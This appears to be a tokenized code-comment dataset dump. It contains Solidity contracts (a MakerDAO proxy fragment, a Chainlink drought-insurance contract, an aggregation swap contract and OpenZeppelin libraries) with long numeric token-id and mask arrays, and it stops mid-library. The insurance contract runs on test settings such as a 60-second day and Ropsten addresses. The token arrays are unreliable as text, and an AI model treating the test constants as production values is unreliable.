VatLike(vat).hope(Constants.MCD_JOIN_DAI);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(Constants.MCD_JOIN_DAI).exit(address(this), wadD);
}
function _wipeAllAndFreeGem(
address gemJoin,
uint256 cdp,
uint256 amtC
) internal {
IDssCdpManager manager = IDssCdpManager(Constants.CDP_MANAGER);
address vat = manager.vat();
address urn = manager.urns(cdp);
bytes32 ilk = manager.ilks(cdp);
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Joins DAI amount into the vat
_daiJoin_join(
Constants.MCD_JOIN_DAI,
urn,
_getWipeAllWad(vat, urn, urn, ilk)
);
uint256 wadC = _convertTo18(gemJoin, amtC);
// Paybacks debt to the CDP and unlocks token amount from it
manager.frob(cdp, -_toInt(wadC), -int256(art));
// Moves the amount from the CDP urn to proxy's address
manager.flux(cdp, address(this), wadC);
// Exits token amount to the user's wallet as a token
GemJoinLike(gemJoin).exit(address(this), amtC);
}
function _openLockGemAndDraw(
address gemJoin,
bytes32 ilk,
uint256 amtC,
uint256 wadD
) internal returns (uint256 cdp) {
cdp = IDssCdpManager(Constants.CDP_MANAGER).open(ilk, address(this));
_lockGemAndDraw(gemJoin, cdp, amtC, wadD);
}
}
| Exits DAI to the user's wallet as a token | DaiJoinLike(Constants.MCD_JOIN_DAI).exit(address(this), wadD);
| 12,692,872 | [
1,
424,
1282,
463,
18194,
358,
326,
729,
1807,
9230,
487,
279,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
463,
10658,
4572,
8804,
12,
2918,
18,
49,
10160,
67,
18800,
67,
9793,
45,
2934,
8593,
12,
2867,
12,
2211,
3631,
341,
361,
40,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
pragma experimental ABIEncoderV2;
//Truffle Imports
import "chainlink/contracts/ChainlinkClient.sol";
import "chainlink/contracts/vendor/Ownable.sol";
import "chainlink/contracts/interfaces/LinkTokenInterface.sol";
//Remix imports - used when testing in remix
//import "https://github.com/smartcontractkit/chainlink/evm/contracts/ChainlinkClient.sol";
//import "https://github.com/smartcontractkit/chainlink/evm/contracts/vendor/Ownable.sol";
//import "https://github.com/smartcontractkit/LinkToken/contracts/LinkToken.sol";
contract InsuranceProvider {
using SafeMath_Chainlink for uint;
address public insurer = msg.sender;
uint public constant DAY_IN_SECONDS = 60; //How many seconds in a day. 60 for testing, 86400 for Production
uint256 constant private ORACLE_PAYMENT = 0.11 * 1 ether;
address public constant LINK_ROPSTEN = 0x20fE562d797A42Dcb3399062AE9546cd06f63280; //address of LINK token on Ropsten
address public constant ORACLE_CONTRACT = 0x4a3fbbb385b5efeb4bc84a25aaadcd644bd09721;
string public constant JOB_ID = '6e34d8df2b864393a1f6b7e38917706b';
//here is where all the insurance contracts are stored. 1 contract allowed per customer/address
mapping (address => Insurance) contracts;
constructor() public payable {
}
/**
* @dev Prevents a function being run unless it's called by Insurance Provider
*/
modifier onlyOwner() {
require(insurer == msg.sender,'Only Insurance provider can do this');
_;
}
event contractCreated(address _insuranceContract, uint _premium, uint _totalCover);
/**
* @dev Create a new contract for client, automatically approved and deployed to the blockchain
*/
function newContract(address _client, uint _duration, uint _premium, uint _totalCover, string _cropLocation) public payable returns(address) {
//to do extra validation to ensure preimium paid matches with total _totalCover
require (msg.value > _totalCover.div(100),'Incorrect premium paid');
//create contract, send payout amount plus some extra ether so contract has enough gas to do payout tranasctions
Insurance i = (new Insurance).value(_totalCover.add(1000000000000000))(_client, _duration, _premium, _totalCover, _cropLocation,
LINK_ROPSTEN, ORACLE_CONTRACT,JOB_ID, ORACLE_PAYMENT);
contracts[_client] = i; //store contract in contracts Map
emit contractCreated(address(i), msg.value, _totalCover);
//now that contract has been created, we need to fund it with enough LINK tokens to fulfil 1 Oracle request per day
LinkTokenInterface link = LinkTokenInterface(i.getChainlinkToken());
link.transfer(address(i), ((_duration.div(DAY_IN_SECONDS)) + 2) * ORACLE_PAYMENT);
return address(i);
}
/**
* @dev returns the contract for a given client address
*/
function getContract(address _contract) external view returns (Insurance) {
return contracts[_contract];
}
/**
* @dev Get the insurer address for this insurance provider
*/
function getInsurer() external view returns (address) {
return insurer;
}
/**
* @dev Get the status of a given Contract
*/
function getContractStatus(address _address) external view returns (bool) {
Insurance i = Insurance(_address);
return i.getContractStatus();
}
/**
* @dev Create a new contract for client, automatically approved and deployed to the blockchain
*/
function getContractBalance() external view returns (uint) {
return address(this).balance;
}
/**
* @dev Function to end provider contract, in case of bugs or needing to update logic etc, funds are returned to insurance provider, including any remaining LINK tokens
*/
function endContractProvider() external payable onlyOwner() {
LinkTokenInterface link = LinkTokenInterface(LINK_ROPSTEN);
require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer");
selfdestruct(insurer);
}
/**
* @dev fallback function, to receive ether
*/
function() external payable { }
}
contract Insurance is ChainlinkClient, Ownable {
using SafeMath_Chainlink for uint;
uint public constant DAY_IN_SECONDS = 60; //How many seconds in a day. 60 for testing, 86400 for Production
uint public constant DROUGHT_DAYS_THRESDHOLD = 5; //Number of consecutive days without rainfall to be defined as a drought
//uint public constant DROUGHT_RAINFALL_THRESDHOLD = 3; //3 days above the temp is the trigger for contract conditions to be reached
uint256 private oraclePaymentAmount;
string private jobId;
address public insurer;
address client;
uint startDate;
uint duration;
uint premium;
uint totalCover;
string cropLocation;
uint daysWithoutRain; //how many days there has been with 0 rain
bool contractActive; //is the contract currently active, or has it ended
bool contractPaid = false;
uint currentRainfall = 0; //what is the current rainfall for the location
uint currentRainfallDateChecked = now + DAY_IN_SECONDS; //when the last rainfall check was performed
uint requestCount = 0; //how many requests for rainfall data have been made so far for this insurance contract
/**
* @dev Prevents a function being run unless it's called by Insurance Provider
*/
modifier onlyOwner() {
require(insurer == msg.sender,'Only Insurance provider can do this');
_;
}
/**
* @dev Prevents a function being run unless the Insurance Contract duration has been reached
*/
modifier onContractEnded() {
if (startDate + duration < now) {
_;
}
}
/**
* @dev Prevents a function being run unless contract is still active
*/
modifier onContractActive() {
require(contractActive == true ,'Contract has ended, cant interact with it anymore');
_;
}
/**
* @dev Prevents a data request to be called unless it's been a day since the last call (to avoid spamming and spoofing results)
*/
modifier callFrequencyOncePerDay() {
require(now - currentRainfallDateChecked > DAY_IN_SECONDS,'Can only check temeprature once per day');
_;
}
event contractCreated(address _insurer, address _client, uint _duration, uint _premium, uint _totalCover);
event contractPaidOut(uint _paidTime, uint _totalPaid, uint _finalRainfall);
event contractEnded(uint _endTime, uint _totalReturned);
event ranfallThresholdReset(uint _rainfall);
event dataRequestSent(bytes32 requestId);
event dataReceived(uint _rainfall);
/**
* @dev Creates a new Insurance contract
*/
constructor(address _client, uint _duration, uint _premium, uint _totalCover, string _cropLocation,
address _link, address _oracle, string _job_id, uint256 _oraclePaymentAmount) payable Ownable() public {
//initialize variables required for Chainlink Node interaction
setChainlinkToken(_link);
setChainlinkOracle(_oracle);
jobId = _job_id;
oraclePaymentAmount = _oraclePaymentAmount;
//first ensure insurer has fully funded the contract
require(msg.value > _totalCover, "Not enough funds sent to contract");
//now initialize values for the contract
insurer= msg.sender;
client = _client;
startDate = now + DAY_IN_SECONDS; //contract will be effective from the next day
duration = _duration;
premium = _premium;
totalCover = _totalCover;
daysWithoutRain = 0;
contractActive = true;
cropLocation = _cropLocation;
emit contractCreated(insurer,
client,
duration,
premium,
totalCover);
}
/**
* @dev Calls out to an Oracle to obtain weather data
*/
function checkContract() external onContractActive() returns (bytes32 requestId) {
//first call end contract in case of insurance contract duration expiring, if it hasn't won't do anything
endContract();
//contract may have been marked inactive above, only do request if needed
if (contractActive) {
//grab updated weather info via Oracle request, should update currentRainfall
// newRequest takes a JobID, a callback address, and callback function as input
Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(jobId), address(this), this.checkContractCallBack.selector);
// Adds an integer with the key "city" to the request parameters, to be used by the Oracle node as a parameter when making a REST request
//string memory url = string(abi.encodePacked(OPEN_WEATHER_URL, "id=",uint2str(cropLocation),"&appid=",OPEN_WEATHER_KEY));
//req.add("get", url); //sends the GET request to the oracle
//req.add("path", "main.temp"); //sends the path to be traversed when the GET returns data
//req.addInt("times", 100); //tells the Oracle to * the result by 100
req.add("q", cropLocation);
req.add("copyPath","data.current_condition.0.precipMM");
//sends the request to the Oracle Contract which will emit an event that the Oracle Node will pick up and action
requestId = sendChainlinkRequestTo(chainlinkOracleAddress(), req, oraclePaymentAmount);
emit dataRequestSent(requestId);
}
}
/**
* @dev Callback function - This gets called by the Oracle Contract when the Oracle Node passes data back to the Oracle Contract/
* The function will take the rainfall given by the Oracle and updated the Inusrance Contract state
*/
function checkContractCallBack(bytes32 _requestId, uint256 _rainfall) public payable recordChainlinkFulfillment(_requestId) onContractActive() callFrequencyOncePerDay() {
//set current temperature to value returned from Oracle, and store date this was retrieved (to avoid spam and gaming the contract)
currentRainfall = _rainfall;
currentRainfallDateChecked = now;
requestCount +=1;
emit dataReceived(_rainfall);
//check if payout conditions have been met, if so call payoutcontract, which should also end/kill contract at the end
if (currentRainfall == 0 ) { //temp threshold has been met, add a day of over threshold
daysWithoutRain += 1;
} else {
//there was rain today, so reset daysWithoutRain parameter
daysWithoutRain = 0;
emit ranfallThresholdReset(currentRainfall);
}
if (daysWithoutRain >= DROUGHT_DAYS_THRESDHOLD) { // day threshold has been met
//need to pay client out insurance amount
payOutContract();
}
}
/**
* @dev Insurance conditions have been met, do payout of total cover amount to client
*/
function payOutContract() private onContractActive() {
//Transfer agreed amount to client
client.transfer(totalCover);
//Transfer any remaining funds (premium) back to Insurer
insurer.transfer(address(this).balance);
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(link.transfer(insurer, link.balanceOf(address(this))), "Unable to transfer");
emit contractPaidOut(now, totalCover, currentRainfall);
//now that amount has been transferred, can end the contract
//mark contract as ended, so no future calls can be done
contractActive = false;
contractPaid = true;
}
/**
* @dev Insurance conditions have not been met, and contract expired, end contract and return funds
*/
function endContract() private onContractEnded() {
//Insurer needs to have performed at least 1 weather call per day to be eligible to retrieve funds back.
//We will allow for 1 missed weather call to account for unexpected issues on a given day.
if (requestCount >= (duration.div(DAY_IN_SECONDS) - 1)) {
//return funds back to insurance provider then end/kill the contract
insurer.transfer(address(this).balance);
} else { //insurer hasn't done the minimum number of data requests, client is eligible to receive his premium back
client.transfer(premium);
insurer.transfer(address(this).balance);
}
//transfer any remaining LINK tokens back to the insurer
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(link.transfer(insurer, link.balanceOf(address(this))), "Unable to transfer remaining LINK tokens");
//mark contract as ended, so no future state changes can occur on the contract
contractActive = false;
emit contractEnded(now, address(this).balance);
}
/**
* @dev Get the balance of the contract
*/
function getContractBalance() external view returns (uint) {
return address(this).balance;
}
/**
* @dev Get the Crop Location
*/
function getLocation() external view returns (string) {
return cropLocation;
}
/**
* @dev Get the Total Cover
*/
function getTotalCover() external view returns (uint) {
return totalCover;
}
/**
* @dev Get the Premium paid
*/
function getPremium() external view returns (uint) {
return premium;
}
/**
* @dev Get the status of the contract
*/
function getContractStatus() external view returns (bool) {
return contractActive;
}
/**
* @dev Get whether the contract has been paid out or not
*/
function getContractPaid() external view returns (bool) {
return contractPaid;
}
/**
* @dev Get the current recorded rainfall for the contract
*/
function getCurrentRainfall() external view returns (uint) {
return currentRainfall;
}
/**
* @dev Get the recorded number of days without rain
*/
function getDaysWithoutRain() external view returns (uint) {
return daysWithoutRain;
}
/**
* @dev Get the count of requests that has occured for the Insurance Contract
*/
function getRequestCount() external view returns (uint) {
return requestCount;
}
/**
* @dev Get the last time that the rainfall was checked for the contract
*/
function getCurrentRainfallDateChecked() external view returns (uint) {
return currentRainfallDateChecked;
}
/**
* @dev Get the contract duration
*/
function getDuration() external view returns (uint) {
return duration;
}
/**
* @dev Get the contract start date
*/
function getContractStartDate() external view returns (uint) {
return startDate;
}
/**
* @dev Get the current date/time according to the blockchain
*/
function getNow() external view returns (uint) {
return now;
}
/**
* @dev Get address of the chainlink token
*/
function getChainlinkToken() public view returns (address) {
return chainlinkTokenAddress();
}
/**
* @dev Helper function for converting a string to a bytes32 object
*/
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly { // solhint-disable-line no-inline-assembly
result := mload(add(source, 32))
}
}
/**
* @dev Helper function for converting uint to a string
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
/**
* @dev Fallback function so contrat can receive ether when required
*/
function() external payable { }
} | when the last rainfall check was performed
| uint currentRainfallDateChecked = now + DAY_IN_SECONDS; | 1,003,465 | [
1,
13723,
326,
1142,
767,
10625,
454,
866,
1703,
9591,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
783,
54,
530,
25602,
1626,
11454,
273,
2037,
397,
11579,
67,
706,
67,
11609,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract AggregationSwap is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public constant router =
address(0x1111111254fb6c44bAC0beD2854e76F90643097d);
address payable public feeCollector;
constructor(address _feeCollector) public {
require(_feeCollector != address(0));
feeCollector = payable(_feeCollector);
}
/**
* @dev swap with fee
*
* @param _feeCollector: feeCollector address
**/
function changeFeeCollector( address _feeCollector) external onlyOwner {
require(_feeCollector != address(0));
feeCollector = payable(_feeCollector);
}
/**
* @dev swap with fee
*
* @param _fromToken: swap token address (if 0, ETH)
* @param _fromTokenAmount: swap token amount
* @param _data: data to send router
* @param _gasFee: gasfee to send feeCollector
**/
function swap(
address _fromToken,
uint256 _fromTokenAmount,
bytes calldata _data,
uint256 _gasFee
) external payable nonReentrant {
uint256 value;
if(_fromToken == address(0)) {
require(_fromTokenAmount > 0, "Invalid ETH amount");
require(msg.value >= _fromTokenAmount.add(_gasFee), "Invalid fee amount");
value = _fromTokenAmount;
} else {
require(msg.value >= _gasFee, "Invalid fee amount");
IERC20 fromToken = IERC20(_fromToken);
fromToken.safeTransferFrom(msg.sender, address(this), _fromTokenAmount);
fromToken.safeIncreaseAllowance(router, _fromTokenAmount);
}
(bool success, bytes memory returnData) =
router.call{value: value}(_data);
if (!success) {
/// @dev never return
decodeRevert(returnData);
}
feeCollector.transfer(msg.value.sub(value));
}
function decodeRevert(bytes memory result) internal pure {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
